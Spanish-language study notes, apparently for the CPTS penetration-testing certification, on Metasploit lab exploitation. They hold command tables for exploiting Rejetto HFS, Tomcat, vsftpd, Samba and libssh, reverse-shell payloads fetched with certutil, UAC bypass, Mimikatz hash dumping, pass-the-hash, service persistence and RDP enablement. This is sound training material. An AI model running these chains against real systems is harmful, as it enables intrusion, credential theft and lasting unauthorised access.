| ls -ls /usr/share/metasploit-framework/scripts/resource/ |
Scripts que vienen prepackaged |
| vim /usr/share/metasploit-framework/scripts/resource/auto_brute.rc |
|
Ejemplo creando un multi/handler
| nano handlre.rc |
|
use multi/hanlder set payload windows/meterpreter/reverse_tcp set lhost IP set lport N run |
|
| msfconolse -r handler.rc |
Se iniciara el msf y luego se ejecutara el script |
Ejemplo portscan.rc
| nano portscan.rc |
|
use auxiliary/scanner/portscan/tcp set rhost IP run |
|
| msfconolse -r portscan.rc |
Se iniciara el msf y luego se ejecutara el script |
Tambien se pueden ejecutar directamente dentro de MSF
| resource /ruta/portscan.rc |
Se ejecutara el script |
Podemos crear un scritp con los comandos realizados previamente
| msfconsole -q |
|
| use auxiliary/scanner/portscan/tcp |
|
| set rhost IP |
|
| run |
|
| makerc /ruta/archivo.rc |
Se creara un script en la ruta con los comandos realizados |
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 5. Explotacion Ejemplos / 1. Windows Explotation
1. Explotando Un HTTP File Server Vulnerable
Un HGS es un servidor web disenado para comparticion de archivos y documentos
Normalmente corre en el puerto –> 80 y usa el protocolo HTTP
Rejetto es un popular free and open source HFS que puede ser montado en Windows y Linux
Rejetto HFS V2.3 es vulnerable a remote command execution
MSF tiene un exploit que podemos usar para ganar acceso al host de HFS
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| db_status |
|
| workspace -a hfs |
|
| setg rhost/s IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Podemos ver un HFS 2.3 y vemos que el sistema esta corriendo en un Windows Server 2008 R2 |
|
|
| Podremos ver la pagina web desde el browser poniendo la ip:puerto |
|
|
|
| search type:exploit name:rejetto |
|
| use 0 |
|
| show options |
Tenemos todo |
| info |
Vemos que esta explotacion se debe a una sanetizacion pobre al usar regex en el archivo PaserLib.pas usando %00 explotando los comandos de scripting del HFS Este es succesful en HFS 2.3 |
| run |
|
Ejemplo
![[Pasted image 20260301144714.png]]![[Pasted image 20260301144717.png]]![[Pasted image 20260301144721.png]]![[Pasted image 20260301144725.png]]![[Pasted image 20260301144729.png]]![[Pasted image 20260301144733.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 5. Explotacion Ejemplos / 1. Windows Explotation
2. Explotando Windows MS17 010 SMB Vuln (eternalblue)
Visto en: [[1. Explotando MS17-010 SMB Vuln (EternalBlue)]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 5. Explotacion Ejemplos / 1. Windows Explotation
3. Explotando Winrm
Explicacion de WinRM vista en: [[1. Explotando WinRM]]
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a WinRM |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
No vemos un servidor WinRM en la salida por lo que tendremos que hacer un scaneo de todos los puertos |
| db_nmap -Pn -sS -sV -O -p- -T4 IP |
|
| services |
Vemos que en el puerto 5985 hay un puerto WinRM. Aunque en la info ponga otra cosa sabemos que WinRM tiene ese puerto y ademas pone que es un HTTPAPI, WinRM trabaja sobre HTTP |
| search type:auxiliary name:winrm |
Vamos a ver los metodos de autenticacion asociados |
| use …/winrm_auth_methods |
|
| show options |
|
| setg rhosts IP |
|
| URI |
Para asegurarnos de que es esa esxactamente vamso al navegador y buscamos –> IP:Puerto/wsman. Si nos carga pero esta en blanca, ESA ES |
| run |
Vemos que tiene activado el protocolo de negociacion y el basico lo que significa que podemos hacer un bruteforce |
| search winrm_login |
|
| use |
|
| show options |
|
| set user_file /usr/share/metasploit/framework/data/wordlist/common_users.txt |
|
| set pass_file /usr/share/metasploit/framework/data/wordlist/unix_passwords.txt |
|
| set verbose false |
|
| run |
Encontramos administrator:tinkerbell |
| search winr_cmd |
|
| use |
|
| set username administrator |
|
| set password tinkerbell |
|
| set cmd COMANDO(whoami) |
|
| search winrm_script |
|
| use |
|
| show options |
|
| set username adminsitrator |
|
| set password tinkerbell |
|
| set force_vbs true |
|
| run |
|
| getuid |
|
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 5. Explotacion Ejemplos / 1. Windows Explotation
4. Explotando Una Vulnerabilidad De Apache Tomcat Webserver
Es un open source Java servlet (clase de java que se ejecuta como webserver)
Se usa para contruir y hostear websites dinamicos y aplicaciones web basadas en java sw. Suelen estar desarrolladas con PHP
Usa el protocolo HTTP para facilitar la comunicacion de capas bajas entre servidor y cliente
Puerto –> 8080
Apache Tomcat V8.5.19 es vulnerable a remote code execution que puede permitir potencialmente al atacante subir y ejecutar payloads JSP para ganar acceso remoto
Podemos usar el modulo exploit de MSF y consecuentemente ganar acceso al objetivo
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a Tomcat |
|
| setg rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Encontramos un Apache Tomcat 8.5.19 en un Windows Server 2088 R2 - 2012 |
| services |
|
| Abrimos el navegador IP:8080 para ver si hay un apache tomcat realmente |
|
| search type:exploit tomcat_jsp |
|
| use 0 |
|
| show options |
|
| info |
Este payload sube un payload jsp y lo ejecuta |
| set payload java/jsp_shell_bind_tcp |
|
| show options |
Para ver las opciones del payload ahora |
| set shell cmd |
|
| run |
Si no funciona a la primera, ctl C y volver a correr |
| Ctl Z |
Para ponerlo en segundo plano porque queremos tener un meterpreter session |
| sessions |
|
|
|
| Abrimos una nueva terminal |
|
| msfvenom-p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N-f exe > nombre.exe |
|
| sudo python -m SimpleHTTPServer 80 |
|
|
|
| Volvemos a MSF |
|
| sessions N |
|
| certutil -urlcache -f http://IP/nombre.exe nombre.exe |
|
|
|
| Volvemos a la otra terminal |
|
| nano handler.rc |
|
use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST IP set LPORT N run |
|
| msfconsole -r handler.rc |
|
|
|
| Volvemos a la sesion de MSF anterior |
|
| .\nombre.exe |
|
|
|
| Si volvemos a la otra MSF tendremos un Meterpreter session |
|
Ejemplo
![[Pasted image 20260301160534.png]]![[Pasted image 20260301160538.png]]![[Pasted image 20260301160542.png]]![[Pasted image 20260301160547.png]]![[Pasted image 20260301160551.png]]![[Pasted image 20260301160555.png]]![[Pasted image 20260301160559.png]]
Vamos a una nueva terminal
![[Pasted image 20260301160610.png]]
Volvemos al MSF
![[Pasted image 20260301160619.png]]
Volvemos a la otra terminal
![[Pasted image 20260301160632.png]]![[Pasted image 20260301160636.png]]![[Pasted image 20260301160641.png]]
Volvemos al otro MSF
![[Pasted image 20260301160652.png]]
Volvemos al handler
![[Pasted image 20260301160703.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 5. Explotacion Ejemplos / 2. Linux Explotation
1. Explotando Un FTP Server Vulnerable
FTP es un protocolo de transferencia de archivos que usa el puerto 21/TCP usado para facilitar la transferencia de archivos entre servidor y clientes
Tambien se suele usar para transferencia de archivos hacia o desde un webserver
vsftpd es un servidor FTP para Unix que es el default para Ubuntu, CentOS y Fedora
vsftpd v2.3.4 es vulnerable a command execution y es facilitado por un backdoor mailioso que fue añadido al archivo de descarga de vsftpd desde un ataque de cadena de suministro
Comandos
| Comandos |
Explicacion |
| service postgresql start & msfconsole -q |
|
| workspace -a NOMBRE |
|
| setg rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Encontramos un servicio ftp por el puerto 21 con version 2.3.4 |
| services |
|
| analyze |
No funciona |
| search vsftp |
Solo hay un exploit para la version 2.3.4 |
| use |
|
| info |
Este modulo explota una backdoor maliciosa que fue añadida al archivo de descarga introducida en un tar.gz en 2011 y fue eliminado ese año |
| run |
|
| /bin/bash -i |
|
|
|
| Vamos a ponerla con Meterpreter |
|
| Ctl Z |
Para llevarla al segundo plano |
| sessions |
Para ver el numero de session |
| search shell_to_meterpreter |
|
| use |
|
| show options |
|
| set LHOST IP |
|
| set session N |
|
| run |
Si nos da un error no pasa nada |
| sessions |
Tendremos ahi la Meterpreter |
Ejemplo
![[Pasted image 20260302154632.png]]![[Pasted image 20260302154642.png]]![[Pasted image 20260302154649.png]]![[Pasted image 20260302154656.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 5. Explotacion Ejemplos / 2. Linux Explotation
2. Explotando Samba
SMB es un protocolo de comparticion de archivos de red que se usa para facilitar la la comparticion de archivos y perifericos entre ordenadores en una misma LAN
Puerto –> 445/TCP y si esta bajo NetBIOS 139/TCP
SAMBA es la version Linux de SMB que permite a los sistemas Windows acceder a sheres y dispositivos Linux
SAMB V3.5.0 es vulnerable a ejcucion remota de codigo permitiendo a clientes maliciosos subir archivos una libreria compartida a un share escribible y despues causa al servidor a cargarlo y ejecutarlo
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a SAMBA |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Vemos un samba pero sin una version exacta |
| setg rhosts IP |
|
| search type:exploit name:samba |
Queremos el is_known_pipename |
| use |
|
| show options |
|
| check |
Verifica si es ejecutable |
| run |
|
| /bin/bash -i |
|
|
|
| Vamos a poner un Meterpreter |
|
| Ctl Z |
|
| search shell_to_meterpreter |
|
| use |
|
| show options |
|
| set LHOST IP |
|
| set session N |
|
| run |
|
| sessions |
|
Ejemplo
![[Pasted image 20260302160322.png]]![[Pasted image 20260302160333.png]]![[Pasted image 20260302160348.png]]![[Pasted image 20260302160350.png]]![[Pasted image 20260302160354.png]]![[Pasted image 20260302160358.png]]![[Pasted image 20260302160400.png]]![[Pasted image 20260302160403.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 5. Explotacion Ejemplos / 2. Linux Explotation
3. Explotando Un SSH Server Vulnerable
SSH es un protocolo de adminsitracion remota que ofrece encriptacion y es el sucesor de telnet. Suele ser usado apra acceder a servidores y sistemas remotamente
Puerto –> 22/TCP
libssh es una libreria multiplataforma implementada en SSHv2 en el lado del cliente y servidor
libssh V0.6.0-0.8.0 es vulnerable a bypass de autenticacion que puede ser explotable para ejecutar comandos en un servidor objetivo
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a SSH_libssh |
|
| setg rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
|
| services |
Vemos un servicio ssh v2.0 |
| search libssh_Auth_bypass |
|
| use |
|
| show options |
|
| set spawn_pty true |
|
| run |
|
| sessions |
|
| cat /etc/*release |
Informacion del sistema |
| uname -r |
Informacion del kernel |
|
|
| Vamos a poner un Meterpreter |
|
| Ctl Z |
|
| search shell_to_meterpreter |
|
| use |
|
| show options |
|
| set LHOST IP |
|
| set session N |
|
| run |
|
| sessions |
|
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 5. Explotacion Ejemplos / 2. Linux Explotation
4. Explotando Un Snmp Server Vulnerable
SNMP es un protocolo de comunicacion que es usado para la transmision de email
Puerto –> 25/TCP. Puede ser configurado tambein en 465 y 6587
Haraka es un open source servidor SNMP de alto rendimiento creado en Node.js. Este viene con un plugin para procesamiento adjunto. Las versiones anteriores a V2.8.9 son vulnerables a command injection
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a snmp |
|
| setg rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
|
| services |
Vemos un snmp en el puerto 25 version 2.8.8 |
| search type:exploit name:haraka |
|
| use |
|
| show options |
|
| set srvport 9898 |
Lo cambiamos porque el payload usa el 8080 |
| set email_to [email protected] |
Debe ser aceptado por el servidor |
| set payload linux/x64/meterpreter_reverse_tcp |
|
| set lhost eht1 |
|
| run |
|
Me sale el lab con el puerto 25 cerrado
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion
1. Comandos Post Explotacion
| Comandos |
Explicacion |
| sysinfo |
Informacion del sistema comprometido |
| getuid |
Conseguir el usuario |
| help |
Lista de comandos |
| exit |
Terminarla (NO HACER AHORA) |
| bg |
Poner en background |
| sessions -h |
|
| sessions -C COMANDO -i N |
Ejecuta un comando en una session sin tener que meterte |
| sessions -k N |
Matar la session (NO HACER AHORA) |
| sessions -n NOMBRE |
Poner nombre a las sessiones |
| sessions N |
|
| pwd |
Ver el directorio en el que estamos |
| cd .. |
|
| cat flag1.txt |
|
| edit archivo |
Editar una archivo :q salir |
| cd Secret FIles |
|
| cat flag2.txt |
|
| cd .. |
|
| download flag5.zip /ruta/nombre_archivo |
|
| bg |
|
| unzip flag5.txt |
|
| checksum md5 /bin/binario |
Obtener el hash de un binario |
| getenv VARIABLE |
Conseguir el valor de una variable |
| search -d /usr/bin -f *backdoor* |
Busca un archivo en el sistema de directorio |
| search -d /usr/bin -f *.php |
|
| shell |
Obtener una shell native del sistema |
| Ctl C |
Termina la shell y vuelve a Meterpreter |
| ps |
Ver la lista de procesos. Si queremos migrar a un proceso en especifico |
| migrate N (PID) |
|
| execute -f CMANDO |
Ejecutar un comando en el sistema desde meterpreter |
| mkdir nombre |
|
| rmdir nombre |
|
| ls o lls |
|
Ejemplo
Solo hago la explotacion
![[Pasted image 20260302170835.png]]![[Pasted image 20260302170840.png]]![[Pasted image 20260302170843.png]]
Tiene un la extensión xdebug habilitada
![[Pasted image 20260302170852.png]]![[Pasted image 20260302170856.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion
2. Mejorando Command Shell A Meterpreter Shell
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a upgrading_shells |
|
| setg rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
|
| services |
Encontramos un samba |
| search type:exploit samba |
is_known_pipename |
| use |
|
| show options |
|
| run |
Nos dara una shell normal |
| /bin/bash -i |
|
| Ctl Z |
Background |
| sessions |
|
|
|
| Upgradearla |
|
| search shell_to_meterpreter |
|
| use |
|
| show options |
|
| set session N |
|
| set lhost IP |
|
| run |
Nos dara una meterpreter shell |
| sessions |
Ahi estara |
|
|
|
|
| Otra forma |
|
| sessions -u N |
Ejecuta lo mismo pero de forma automatica |
| sessions |
Ahi estara el meterpreter |
Ejemplo
![[Pasted image 20260302172225.png]]![[Pasted image 20260302172228.png]]![[Pasted image 20260302172232.png]]![[Pasted image 20260302172236.png]]![[Pasted image 20260302172239.png]]![[Pasted image 20260302172241.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
1. Modulos Windows Postexplotacion
MSF nos provee con varios modulos de Windows y Linux
Podemos usar estos modulos para enumerar informacion del sistema Windows del que tenemos acceso>
- Enumeracion de privilegios de usuario
- Enumeracion de usuarios logeados
- VM check
- Enumeracion de programas instalados
- Enumeracion de AVs
- Enumeracion de maquinas conectadas al dominio
- Enumeracion de parches instalados
- Enumeracion de shares
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a windows_post |
|
| set rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Vemos un servidor HTTP que es vulnerable a rejjeto como sabemos 2.3 |
| search rejetto |
|
| use |
|
| show options |
|
| run |
Obtenemos una meterpreter session |
| sysinfo |
Hostname, 2012 R2, x64 y meterpreter x86(32bits) |
| getuid |
Somos Administrator |
| screenshot |
Hace una captura de la pantalla del host. Si vamos al al sistema de archivos veremos que esta nuestra captura Hay keyloggers y mas |
| getsystem |
Intenta elevar privilegios |
| getuid |
Ahora somos AUTHORITY\SYSTEM |
| hashdump |
Trata de obtener SAM hashes |
| show_mount |
Nos enseña los mounts que hay en el sistema (C:, D:… estos se pueden montar en el sistema local para luego investigar y navegar en ellos) |
| ps |
Nos muestra los procesos |
| migrate N |
Migrar a uno de esos procesos. Normalmente querremos explorer.exe. Esto lo hace con impersonate tokens |
| sysinfo |
Ahora nos dira que tenemos un meterpreter x64 |
| ls |
|
| cat |
|
| cd |
|
| download |
|
| bg |
|
| Ahora vamos con los modulos de postexplotacion |
|
- post/windows/manage/migrate
| search migrate |
|
| use post/windows/manage/migrate |
Nos permite crear un proceso y migrar a el |
| show options |
|
| set session N |
|
| run |
Falla porque ya hemos migrado |
- /post/windows/gather/win_privs
| search win_privs |
|
| use /post/windows/gather/win_privs |
Nos permite enumerar los privilegios del usuario actual |
| set session N |
|
| run |
- Is Admin: true - Is System: no tenemos privs de sistema porque cambiarmos de usuario con impersonate tokens - Is In Local Admin Group: true - UAC Enable: true - UID: MAQUINA\Usuario |
- /post/windows/gather/enum_logged_on_users
| search enum_logged_on |
|
| use /post/windows/gather/enum_logged_on_users |
Nos permite ver los usuarios logeados en el momento y recientes |
| show options |
|
| set session 1 |
|
| run |
Nos da los SID actuales y recientes |
- /post/windows/gather/checkvm
| search checkvm |
|
| use /post/windows/gather/checkvm |
Nos dice si la maquina esta en un VM |
| show options |
|
| set session 1 |
|
| run |
Nos dice que es una Xen VM. Esto es importante porque hay modulos que pueden romper el entorno virtual y darnos acceso al host |
- /post/windows/gather/enum_applications
| search enum_applications |
|
| use /post/windows/gather/enum_applications |
Nos da una lista con los programas descargados y su version |
| show options |
|
| set session 1 |
|
| run |
Algunas versiones de esas aplicaciones tendran vulns que nos permitan elevar nuestros privs |
- /post/windows/gather/enum_av_excluded
| search type:post platform_windows enum_av |
|
| use post/windows/gather/enum_av_excluded |
Nos enumera las carpetas, extensiones… con exclusiones AV donde podremos ejecutar |
| show options |
|
| set session 1 |
|
| run |
Nos detecta el Deffender de Windows pero no exclusiones en este caso |
- post/windows/gather/enum_computers
| search enum_computer |
|
| use post/windows/gather/enum_computers |
Enumera las maquinas conectadas al dominio |
| show options |
|
| set session 1 |
|
| run |
Esta maquina no esta conectada a un dominio |
- post/windows/gather/enum_patches
| search enum_patches |
|
| use post/windows/gather/enum_patches |
Enumera los parches |
| show options |
|
| KB |
KB patches son numeros identificadores de actualizaciones de Windows. Lo podemos modificar pero en este caso lo dejamos en default |
| set session 1 |
|
| run |
Nos dice que no se puede. Probamos a migrar de proceso a otro con AUTHORITY\SYSTEM |
| sessions N |
|
| ps |
|
| migrate PID |
Hemos cambiado a svchost.exe |
| bg |
|
| run |
No sigue dando error |
|
|
| Otra forma manual |
|
| sessions N |
|
| shell |
|
| systeminfo |
Nos da info del sistema y una lista de los KB patches instalados |
- /post/windows/gather/enum_shares
| search enum_shares |
|
| use /post/windows/gather/enum_shares |
Nos enumera los shares |
| show options |
|
| set sessions N |
|
| run |
Encontramos un $print (de impresora) |
- post/windows/manage/enable_rdp
| search rdp platform:windows |
|
| use post/windows/manage/enable_rdp |
Nos dice si RDP esta habilitado |
| show options |
|
| set sessions N |
|
| run |
Nos dice que esta habilitado |
Toda esta informacion se gurardara en:
| loot |
Nos dara informacion recopilada importante |
| /home/user/.msf4<7loot/ |
Aqui estara en el sistema de archivos |
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
2. Windows Escalacion De Privilegios Bypassing Uac
Podemos usar el modulo “Windows Escalate UAC Protection Bypass (con memory inyection)” para bypassear UAC usando el certificado de confianza del editor a traves de un proceso de inyeccion. Esto generara otras shell que tiene el UAC flag off
Comandos
| Comandos |
Explicacion |
| service postregresql start && msfconsole -q |
|
| workspace -a UAC |
|
| setg rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
|
| services |
Usaremos rejetto para el HTTP Server httpd 2.3 |
| search rejetto |
|
| use |
|
| show options |
|
| set payload windows/x64/meterpreter/reverse_tcp |
|
| run |
Obtenemos un meterpreter |
sysinfo getuid |
Somos admin (NO Adminsitrator) |
| getsystem |
No funciona el elevar privs automaticamente |
| getprivs |
|
| shell |
|
| net users |
Vemos usuarios admin y Administrator |
| net localgroup administrators |
Somos parte de adminsitrators group |
|
|
| *Usamos esta tecnica porque es efectiva y estable para versiones anteriores y posteriores a Windows VIsta |
|
|
|
| Ctl C |
Para volver a meterpreter |
| bg |
|
| sessions |
Vemos que es un x64 (sera importante) Tambien nos deberiamos quedar con el puerto para no ocupar el mismo en el otro modulo |
| search bypassuac |
Nosostros usaremos bypassuac_injection |
| use |
|
| show options |
|
| set payload windows/x64/meterpreter/reverse_tcp |
|
| set session N |
|
| set lport N |
Otro no usado |
| run |
|
|
|
|
|
| Si nos da un error porque dice que el target es un x86 hacemos lo siguiente |
|
| set target Windows\x64 |
|
| run |
Ahora se deberia completar bien |
| getuid |
Veremos que somos admin aun. Eso es debido a que se ha creado otra shell igual pero con el flag UAC desactivado. Podremos ejecutar getsystem sin que salta el UAC para elevar privs |
| getsystem |
Elevamos privs automaticamente |
| getuid |
Ahora somos AUTHORITY\SYSTEM |
| ps -S lsass.exe |
|
| migrate PID |
|
| hashdump |
|
| load kiwi |
Por si falla hashdump |
| lsa_dump_sam |
|
Ejemplo
![[Pasted image 20260302211803.png]]![[Pasted image 20260302211808.png]]![[Pasted image 20260302211814.png]]
Me da error el ponerle de payload x64, puede ser porque rejetto ahora no lo acepte como payload pero es muy raro
![[Pasted image 20260302211823.png]]![[Pasted image 20260302211825.png]]![[Pasted image 20260302211828.png]]![[Pasted image 20260302211831.png]]![[Pasted image 20260302211835.png]]![[Pasted image 20260302211837.png]]![[Pasted image 20260302211842.png]]![[Pasted image 20260302211845.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
3. Windows Escalada De Privilegios Token Impersonation Con Incognito
Los Tokens son el elemento central para el proceso de autenticacion en Windows y es creado y gestionado por LSASS (Local Security Authority Subsystem Service)
Un token es responsable de identificar y describir el contexto de seguridad de un proceso que corre en el sistema
Puede simplemente ser poner una key asociada a una que provee a los usuarios acceso al sistema o recursos de red sin tener que poner credenciales cada vez que se inicia
Son generados por “winlogon.exe” proceso que se ejecuta cada vez que un usuario se autentica satisfactoriamente e incluye la identidad y privilegios que se asocian a esa cuenta
Este token se asocia a “userinit.exe” y despues todos los procesos empiezan por el usuario inherido a el, con los mismos privs del token de acceso
Los access tokens son categorizados en base a varios niveles de seguridad y se unen para determinar los privilegios asignados a un token
Niveles de seguridad de access tokens:
- Impersonate-level: logins no interactivos normalmente servicios del sistema o logs del dominio. Pueden ser usados por tokens impersonales en el sistema local pero no en sistemas externos
- Delegate-level: logins interactivos normalmente logins tradicionales o RDP. Mayor amenaza, pueden impersonar tokens en cualquier sistema
El proceso de impersonar tokens para aumentar privs dependera de los privilegios asignados a la cuenta que fue explotada para ganar acceso inicial
Privilegios para impersonar tokens:
- SeAssignPrimaryToken: permite a un usuario impersonar tokens
- SeCreateTokens: permite a un usuario crear tokens arbitrarios con privilegios admin
- SeImpersonateTokens: permite crear procesos bajo el contexto de otro usuario, normalmente admin privs
Incognito
Modulo de MSF que antes era una app para impersonar tokens tras explotacion
Podemos usarlo para ver una lista de tokens que podemos impersonar
Ejemplo
![[Pasted image 20260225165905.png]]![[Pasted image 20260225165909.png]]![[Pasted image 20260225165913.png]]![[Pasted image 20260225165918.png]]![[Pasted image 20260225165921.png]]![[Pasted image 20260225165925.png]]![[Pasted image 20260225165932.png]]![[Pasted image 20260225165936.png]]![[Pasted image 20260225165940.png]]![[Pasted image 20260225165947.png]]![[Pasted image 20260225165951.png]]![[Pasted image 20260225165955.png]]
Puede haber la situacion en la que no haya access tokens disponibles con privilegios. En ese caso para usar potato attack que crea un NT AUTHORITY\SYSTEM Token para conseguir sus privs
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
4. Dumping Hashes Con Mimikatz
Mimikatz es una herramienta de postexplotacion que permite la extraccion de passwords en texto claro, hashes y tickets kerberos de la memoria
El SAM es una archivo de base de datos que guarda hashes de password
Mimikatz puede ser usado para extraer hashes del proceso de memoria lsass.exe donde se cachean los hashes
Podemos usar la version precompilada en ejecutable o la version de meterpreter llamada kiwi
Mimikatz requiere de privs
Ejemplo
![[Pasted image 20260225180355.png]]![[Pasted image 20260225180358.png]]![[Pasted image 20260225180402.png]]![[Pasted image 20260225180406.png]]![[Pasted image 20260225180410.png]]![[Pasted image 20260225180419.png]]![[Pasted image 20260225180423.png]]
La otra forma es desde meterpreter:
| Comando |
Explicacion |
| upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe |
|
| shell |
|
| .\mimikatz.exe |
|
| privilege::debug |
Ver si tenemos permisos suficientes para ejecutar mimikatz |
| lsadump::sam |
|
| lsadump::secrets |
|
| sekurlsa::logonpasswords |
Si Windows tiene la configuracion de guardar en texto claro las pass de los logs |
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
5. Pass The Hash Con Psexec
Si obtenemos un hash NTLM podemos crackearla offline o usarla para PTH
Es una tecnica en la que se capturan hashes NTLM o clear text pass y las usamos para autenticarnos (Para el modulos MSF se necestia el NTLM + LM)
Podemos usar:
- MSF el modulo Psexec
- Crackmapexec
Con modulo MSF
Haremos un PTH al servicio SMB que requiere credenciales
Tendremos que tener descargado kiwi
| Comando |
Explicacion |
| service postgresql start |
|
| msfconsole |
|
| search badblue |
|
| use /…/badblue-passthru |
|
| set OPTIONS |
|
| run |
Obtendremos sesion Meterpreter |
| pgrep lsass |
Busca procesos cuyo nombre coincida con lsass y devuelve sus PID. lsass es el Local Security Authority Subsystem Service en Windows: - Gestiona autenticación de usuarios. - Mantiene credenciales en memoria. - Es el proceso que se intenta dumpear en post-explotación |
| migrate PID |
|
| load kiwi |
|
| lsa_dump_sam |
Obtendremos los NTLM de los usuario |
| hashdump |
Nos devuelve user::hash_LM::hashNTLM |
| bg |
|
| search psexec |
|
| use /exploit/windows/smb/psexec |
|
| set OPTIONS |
SMBUser “USUARIO” SMBPass “NL:NTLM” |
| show target |
Tendremos que elegir uno e ir probando porque pueden fallar |
| set target “NOMBRE” |
|
| run |
|
Con crackmapexec
| Comando |
Explicacion |
| crackmapexec protocolo(smb) IP -u USER -H “NTLM” |
Interactua con el protocolo destino y nos dice si las credenciales son validas |
| crackmapexec protocolo(smb) IP -u USER -H “NTLM” -x “COMANDO(whoami)” |
Interactua con el protocolo, se loggea y realiza el comando |
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
6. Estableciendo Persistencia En Windows
Persistencia consiste en una tecnica que se usa para mantener acceso a sistemas incluso tras reinicios, cambio de credenciales y otras interrupciones que pueden cortar el acceso
Ganar un primer punto de apoyo no es suficiente, necesitas establecer y mantener persistencia en los objetivos
Podemos usar varios modulos post explotation de persistencia para asegurar que siempre tendremos acceso al objetivo
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a Persistence |
|
| setg rhost IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
rejetto |
| search rejetto |
|
| use |
|
| show options |
|
| set payload windows/x64/meterpreter/reverse_tcp |
|
| run |
|
sysinfo getuid |
Acceso a administrador es muy importante para establecer persistencia |
| bg |
|
| search type:post platform:windows persistence |
Cada una usa una tecnica Usaremos persistence_service |
| use |
Este crea un servicio para la persistencia y cuando tengamos un listener o multi/handler seremos capaces de obtener una sesion meterpreter |
| set payload windows/x64/meterpreter/reverse_tcp |
SI NO FUNCIONA EL X64 PONEMOS EL PARA 32BITS |
Estos no los pondremos pero –> set service_name set remote_exe_name set remote_exe_path |
Queremos que el servicio parezca lo mas legitimo posible
|
| set session N |
|
| run |
|
| getuid |
|
| exit |
|
| sessions |
|
| sessions -K N |
Queremos terminar todas las sessiones para ver si hemos establecido persistencia |
| use multi/handler |
|
| set paylaod windows/meterpreter/reverse_tcp |
|
| set lhost eth1 |
|
| set lport N |
Debe ser el mismo que el que especificamos para crear el servicio |
| run |
Nos conectaremos porque el servicio correra incluso tras reinicios |
| exit |
|
| run |
Probamos otra vez y la seguimos obteniendo |
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
7. Habilitando RDP
RDP esta deshabilitado por defecto, aunque podemos usar un modulo MSF para habilitarlo en el Windows objetivo y como consecuencia usar RDP para acceder remotamente al sistema
RDP requiere de credenciales legitimas para acceder al objetivo en clear text
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a RDP |
|
| setg rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Tenemos un web con badblue vulnerable No vemos el puerto RDP habilitado |
| search badblue_passthru |
|
| use |
|
| show options |
|
| set target BadBlue\EE\2.7\Universal |
|
| run |
|
| getuid |
AUTHORITY\SYSTEM |
| sysinfo |
|
| bg |
|
| search enable_rdp |
|
| use |
|
| show options |
|
| set session N |
|
| run |
|
| db_nmap -p3389 IP |
Ahora esta abierto |
| sessions N |
|
| shell |
|
| net users |
Vemos los usuarios. Para tener credenciales legitimas podemos crear usuarios, pero en este caso simplemente vamos a cambiar la contrasena del Adminsitrator (no es recomendable ya que es un indicador obvio de compromiso) |
| net user administrator password1 |
Esto solo se puede hacer con privs admin |
|
|
| Abrimos una nueva terminal |
|
| xfreerdp /u:administrator /p:password1 /v:IP |
Se nos abre una Remote Desktop |
Ejemplo
![[Pasted image 20260302223530.png]]![[Pasted image 20260302223534.png]]![[Pasted image 20260302223538.png]]![[Pasted image 20260302223540.png]]![[Pasted image 20260302223543.png]]![[Pasted image 20260302223546.png]]![[Pasted image 20260302223549.png]]![[Pasted image 20260302223552.png]]![[Pasted image 20260302223627.png]]
